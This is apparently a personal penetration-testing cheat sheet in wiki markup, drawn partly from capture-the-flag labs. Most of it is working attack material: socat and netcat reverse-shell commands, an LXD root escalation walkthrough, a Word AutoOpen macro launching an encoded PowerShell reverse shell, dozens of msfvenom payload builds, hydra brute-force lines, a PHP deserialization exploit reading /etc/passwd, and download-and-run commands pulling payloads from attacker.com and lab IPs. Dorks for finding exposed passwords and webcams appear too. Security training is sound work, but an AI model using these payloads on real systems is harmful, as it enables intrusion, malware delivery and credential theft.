# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files
git add -A
# Configure who you are in order to commit
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
# The git commit command **captures a snapshot of the project's currently staged changes**.
git commit -m "This is a message"
# Push your changes to the remote server. "master" refers to master branch in your repository.
git push origin master
</syntaxhighlight>

=== ===

=== GIT_SSH_COMMAND ===

<syntaxhighlight lang="bash">
# GIT_SSH_COMMAND
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.243.125:/git-server
# This command wil SSH to user git and push the changes to the remote server.
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git push origin master
</syntaxhighlight>

=== GitLeaks - Scan repos for secrets ===

<syntaxhighlight lang="bash">
# https://github.com/zricethezav/gitleaks
gitleaks detect --source . -v
</syntaxhighlight>

----

== Google Dorking ==

<syntaxhighlight lang="bash">
https://dorksearch.com/
site:target[.]com ext:php inurl:?
site:target.tld intitle:"index of /" # intitle:"index of /": This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.
</syntaxhighlight>

=== Search operators ===

[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]

{| class="wikitable"
|-
! Operator
! Description
! Syntax
! Example
|-
| ()
| Group multiple terms or operators. Allows advanced expressions
| (<term> or <operator>)
| inurl:(html | php)
|-
| *
| Wildcard. Matches any word
| <text> * <text>
| How to * a computer
|-
| ""
| The given keyword has to match exactly. case-insensitive
| "<keywords>"
| "google"
|-
| m..n / m...n
| Search for a range of numbers. n should be greater than m
| <number>..<number>
| 1..100
|-
| -
| Documents that match the operator are excluded. NOT-Operator
| -<operator>
| -site:youtube.com
|-
| +
| Include documents that match the operator
| +<operator>
| +site:youtube.com
|-
| |
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match
| <operator> | <operator>
| "google" | "yahoo"
|-
| ~
| Search for synonyms of the given word. Not supported by Google
| ~<word>
| ~book
|-
| @
| Perform a search only on the given social media platform. Rather use site
| @<socialmedia>
| @instagram
|-
| after
| Search for documents published / indexed after the given date
| after:<yy(-mm-dd)>
| after:2020-06-03
|-
| allintitle
| Same as intitle but allows multiple keywords seperated by a space
| allintitle:<keywords>
| allintitle:dog cat
|-
| allinurl
| Same as inurl but allows multiple keywords seperated by a space
| allinurl:<keywords>
| allinurl:search com
|-
| allintext
| Same as intext but allows multiple keywords seperated by a space
| allintext:<keywords>
| allintext:math science university
|-
| AROUND
| Search for documents in which the first word is up to n words away from the second word and vice versa
| <word1> AROUND(<n>) <word2>
| google AROUND(10) good
|-
| author
| Search for articles written by the given author if applicable
| author:<name>
| author:Max
|-
| before
| Search for documents published / indexed before the given date
| before:<yy(-mm-dd)>
| before:2020-06-03
|-
| cache
| Search on the cached version of the given website. Uses Google's cache to do so
| cache:<domain>
| cache:google.com
|-
| contains
| Search for documents that link to the given fileype. Not supported by Google
| contains:<filetype>
| contains:pdf
|-
| date
| Search for documents published within the past n months. Not supported by Google
| date:<number>
| date:3
|-
| define
| Search for the definition of the given word
| define:<word>
| define:funny
|-
| ext
| Search for a specific filetype
| ext:<documenttype>
| ext:pdf
|-
| filetype
| Refer to ext
| filetype:<documenttype>
| filetype:pdf
|-
| inanchor
| Search for the given keyword in a website's anchors
| inanchor:<keyword>
| inanchor:security
|-
| index of
| Search for documents containing direct downloads
| index of:<term>
| index of:mp4 videos
|-
| info
| Search for information about a website
| info:<domain>
| info:google.com
|-
| intext
| Keyword needs to be in the text of the document
| intext:<keyword>
| intext:news
|-
| intitle
| Keyword needs to be in the title of the document
| intitle:<keyword>
| intitle:money
|-
| inurl
| Keyword needs to be in the URL of the document
| inurl:<keyword>
| inurl:sheet
|-
| link / links
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website
| link:<keyword>
| link:google
|-
| location
| Show documents based on the given location
| location:<location>
| location:USA
|-
| numrange
| Refer to m..n
| numrange:<number>-<number>
| numrange:1-100
|-
| OR
| Refer to |
| <operator> OR <operator>
| "google" OR "yahoo"
|-
| phonebook
| Search for related phone numbers associated with the given name
| phonebook:<name>
| phonebook:"william smith"
|-
| relate / related
| Search for documents that are related to the given website
| relate:<domain>
| relate:google.com
|-
| safesearch
| Exclude adult content such as pornographic videos
| safesearch:<keyword>
| safesearch:sex
|-
| source
| Search on a specific news site. Rather use site
| source:<news>
| source:theguardian
|-
| site
| Search on the given site. Given argument might also be just a TLD such as com, net, etc
| site:<domain>
| site:google.com
|-
| stock
| Search for information about a market stock
| stock:<stock>
| stock:dax
|-
| weather
| Search for information about the weather of the given location
| weather:<location>
| weather:Miami
|}

=== Finding Valuable Information ===

<syntaxhighlight lang="bash">
intitle:"webcamXP 5" | inurl:"lvappl.htm"
</syntaxhighlight>

Find open/public webcams

<syntaxhighlight lang="bash">
intext:password ext:log
</syntaxhighlight>

Find log documents wich have the string "password" in it

<syntaxhighlight lang="bash">
inurl:/proc/self/cwd
</syntaxhighlight>

Find vulnerable webservers

<syntaxhighlight lang="bash">
inurl:email.xls ext:xls
</syntaxhighlight>

Find excel documents that contain email addresses

<syntaxhighlight lang="bash">
index of:mp3 intext:.mp3
</syntaxhighlight>

Find mp3 (music) documents

<syntaxhighlight lang="bash">
intext:"index of /"
</syntaxhighlight>

Finding indexed files

----

== Listener ==

<syntaxhighlight lang="bash">
# ATTENTION
# Some target machines might block the port you've choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.
</syntaxhighlight>

=== Metasploit ===

<syntaxhighlight lang="bash">
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
</syntaxhighlight>

=== Netcat ===

<syntaxhighlight lang="bash">
# Listen on port
nc -lvnp
# Use rlwrap for better shell on Windows
rlwrap nc -lvnp
# Connect to port
nc -nv
</syntaxhighlight>

=== Socat ===

<syntaxhighlight lang="bash">
# Basic listener
socat TCP-L: -
# Windows connect back
socat TCP::
EXEC:powershell.exe,pipes
# Linux connect back
socat TCP:: EXEC:"bash -li"
# Encrypted shell - Basic listener
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –
# Connect back
socat OPENSSL::,verify=0 EXEC:/bin/bash
</syntaxhighlight>

----

== LXD - Privilege escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]

Step 1

<syntaxhighlight lang="bash">
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# ls
alpine.yaml lxd.tar.xz rootfs.squashfs
</syntaxhighlight>

Step 2

<syntaxhighlight lang="bash">
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz
--2022-02-10 14:04:26-- http://10.10.14.18:9000/lxd.tar.xz
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 844 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 844 --.-KB/s in 0s
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs
--2022-02-10 14:04:36-- http://10.10.14.18:9000/rootfs.squashfs
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2052096 (2.0M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 1.96M 4.02MB/s in 0.5s
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]
</syntaxhighlight>

Step 3

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
ash@tabby:~$ lxc image list
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 9c716211a82e | no | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64 | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
</syntaxhighlight>

Step 4

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
</syntaxhighlight>

==== Fix no storage pool found with lxd init ====

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: hello
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H
Invalid input, try again.
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H
Invalid input, try again.
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</syntaxhighlight>

Step 5

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxc list
+---------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| privesc | STOPPED | | | CONTAINER | 0 |
+---------+---------+------+------+-----------+-----------+
</syntaxhighlight>

Step 6

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
ash@tabby:~$ lxc start privesc
ash@tabby:~$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
</syntaxhighlight>

----

== Macro ==

=== Microsoft Word ===

Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.

When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.

Remember to set Macro in the document, otherwise it will only work locally.

[[File:2022-09-image.png|thumb]]

<syntaxhighlight lang="bash">
# Open Word --> View --> Macro --> Show Macro --> Create
# The below script will send a reverse shell powershell command
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
CreateObject("Wscript.Shell").Run Str
End Sub
------------------------
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and 'Powershell#3 Base64'
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]
└─# cat payload.py
str="powershell -e JABjAGwAaQBlAG4AdAAgAD..."
n=50
for i in range(0,len(str),n):
print("Str = str+" + '"' + str[i:i+n] +'"')

...................................
# The below script will ping target.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "Ping.exe -t 192.168.119.182"
End Sub
</syntaxhighlight>

[[File:2022-08-image-4.png|thumb]]

=== LibreOffice Basic ===

=== ===

[[File:2022-08-Pasted-image-20220704111937.png|thumb]]

[[File:2022-08-Pasted-image-20220704111909.png|thumb]]

Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –> Customize and select Open Document.

[[File:2022-08-image-3.png|thumb]]

----

== Mitre Framework ==

{| class="wikitable"
|-
! Title
! URL
! Short Description
|-
| MITRE Engage
| [https://engage.mitre.org/ https://engage.mitre.org/]
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.
|-
| MITRE ATT&CK
| [https://attack.mitre.org/ https://attack.mitre.org/]
| MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks.
|-
| MITRE Cyber Analytics Repository (CAR)
| [https://car.mitre.org/ https://car.mitre.org/]
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.
|-
| MITRE D3FEND
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK.
|-
| Common Vulnerabilities and Exposures (CVE)
| [https://cve.mitre.org/ https://cve.mitre.org/]
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.
|-
| Common Attack Pattern Enumeration and Classification (CAPEC)
| [https://capec.mitre.org/ https://capec.mitre.org/]
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.
|-
| Common Weakness Enumeration (CWE)
| [https://cwe.mitre.org/ https://cwe.mitre.org/]
| CWE is a community-developed list of common software and hardware weaknesses.
|-
| Malware Attribute Enumeration and Characterization (MAEC)
| [https://maecproject.github.io/ https://maecproject.github.io/]
| MAEC is a project for standardizing the encoding and communication of malware characteristics.
|}

----

== Monitor Processes ==

=== Process Explorer ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.

* '''Features:'''
Real-time monitoring of active processes, threads, and modules.

* Hierarchical view of processes, showing parent-child relationships.

* Detailed information about process properties, memory usage, and CPU utilization.

* Identification of the processes responsible for specific open handles or DLLs.

* Capabilities to suspend, terminate, or explore processes.

* Integration with VirusTotal to scan processes for malware.

* '''Use Case:''' Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.

=== Process Monitor ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.

* '''Features:'''
Detailed tracking of file system and registry operations, including reads, writes, and modifications.

* Capturing of process and thread activity, including creation, termination, and interactions.

* Filtering and searching capabilities to narrow down the captured data.

* Advanced filtering to include/exclude specific processes, operations, or paths.

* Ability to generate logs for analysis and troubleshooting.

* Integration with other Sysinternals tools like Autoruns and TCPView.

* '''Use Case:''' Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.

=== Process Hacker ===

[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]

* '''Focus:''' Process Hacker aims to provide an advanced task manager with detailed process information and control options.

* '''Features:'''
Comprehensive process details, memory usage, and performance metrics.

* Real-time graphs for system resource monitoring.

* Advanced process management, including termination, suspension, and prioritization.

* Tools for viewing and manipulating network connections and memory content.

* Support for plugins to extend functionality.

* '''Common Uses:''' In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.

----

== Msfvenom commands ==

=== What is exitfunc= in msfvenom ===

Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:

* none: do nothing and keep running

* seh: use a special technique to exit without crashing

* thread: stop the part of the program that runs the payload and leave the rest alone

* process: kill the whole program that runs the payload

The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.

=== ASP ===

<syntaxhighlight lang="bash">
ASP or ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx > rev_shell.asp or aspx
</syntaxhighlight>

=== Bash ===

=== hta ===

<syntaxhighlight lang="bash">
# Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
</syntaxhighlight>

=== JSP ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
</syntaxhighlight>

=== WAR ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="bash">
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="bash">
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
</syntaxhighlight>

=== Perl ===

<syntaxhighlight lang="bash">
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
</syntaxhighlight>

=== Powershell ===

<syntaxhighlight lang="bash">
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1
</syntaxhighlight>

=== Linux ===

<syntaxhighlight lang="bash">
# Linux x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf
# Linux x86
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
# UNIX CMD
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
# Fork a new process, xor encrypted
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
</syntaxhighlight>

=== OSX ===

<syntaxhighlight lang="bash">
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi > rev_shell.msi
Windows x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_x64_shell.exe
Windows
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd
Windows encoded payload
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
-e = encoding
-i = iteration (how many times to encode the payload)
-b = bad character
Stageless
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Staged
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Generating shellcode
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
</syntaxhighlight>

----

== Fuzzers ==

=== ffuf ===

[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]

<syntaxhighlight lang="bash">
# Generic
ffuf -w wordlist.txt -u http://site.com/FUZZ
# File discovery using extensions
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html
# Vhost
ffuf -w subdomains.txt -u http://site.com/ -H "Host: FUZZ.site.com"
# Login forms generic
ffuf -w /wordlist -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://site.com/login
# POST bruteforce. -fs means filter out size 17.
ffuf -X POST -H 'Content-Type: application/json' -d '{"user":"FUZZ", "url":"192.168.49.153/shell.elf"}' -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17

</syntaxhighlight>

=== wfuzz ===

----

== Password Cracking ==

=== Hashcat ===

Example commands

{| class="wikitable"
|-
! Attack-mode
! Hash-type
! Example command
|-
| Wordlist
| $P$
| hashcat -a 0 -m 400 example400.hash example.dict
|-
| Wordlist + Rules
| MD5
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
|-
| Brute-Force
| MD5
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
|-
| Combinator
| MD5
| hashcat -a 1 -m 0 example0.hash example.dict example.dict
|-
| Association
| $1$
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule
|}
https://hashcat.net/wiki/doku.php?id=hashcat

==== Mask attack ====

{| class="wikitable"
|-
| ?l =
| abcdefghijklmnopqrstuvwxyz
|-
| ?u
| ABCDEFGHIJKLMNOPQRSTUVWXYZ
|-
| ?d
| 0123456789
|-
| ?h
| 0123456789abcdef
|-
| ?H
| 0123456789ABCDEF
|-
| ?s
| «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|-
| ?a
| ?l?u?d?s
|-
| ?b
| 0x00 - 0xff
|}
https://hashcat.net/wiki/doku.php?id=mask_attack

<syntaxhighlight lang="bash">
# Example command
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 "C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*" -r "rules\best64.rule"
# Restore session
hashcat.exe --session session1 --restore
# Show cracked hashes
hashcat.exe hash2.hc22000 -m 22000 --show
</syntaxhighlight>

=== Hydra ===

{| class="wikitable"
|-
| Command
| Description
|-
| hydra -P <wordlist> -v <ip> <protocol>
| Brute force against a protocol of your choice
|-
| hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
|-
| hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>
| Attack a Windows Remote Desktop with a password list.
|-
| hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
| Craft a more specific request for Hydra to brute force.
|}
https://www.tryhackme.com/room/hackpark

=== John The Ripper ===

https://blog.aghanim.net/?p=1022

----

== PHP ==

=== shell_exec ===

<syntaxhighlight lang="php">
# If RFI dosent execute script, try this
# Create exploit.php
# cat exploit.php

# Execute
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php
</syntaxhighlight>

=== Deserialization attack ===

See notes for Deployer

<syntaxhighlight lang="bash">
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat 192.168.153.158/web/dev/index.php
file);
}
}
if (!isset($_POST['page'])){
if (strpos(urldecode($_GET['page']),'..')!==false){
include('/var/www/dev/lfi-prev.html');
}
else{
include('/var/www/dev/'.$_GET['page']);
}
}
else{
$f=$_POST['page'];
unserialize($f);
}
?>

# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. '->' is used in object scope to access methods and properties of an object.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat real_exploit.php
file);
}
}
$f = new Page;
$f->file='/etc/passwd';
echo urlencode(serialize($f));
?>

# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]
└─# curl -XPOST -d 'page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D ' http://und3r_dev.deployer.off/index.php

</syntaxhighlight>

----

== Transfering files ==

=== A list of all commands ===

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="bash">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

=== CrackMapExec ===

<syntaxhighlight lang="bash">
# Send a local file to the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
</syntaxhighlight>

=== Certutil ===

Easiest way to transfer to Windows

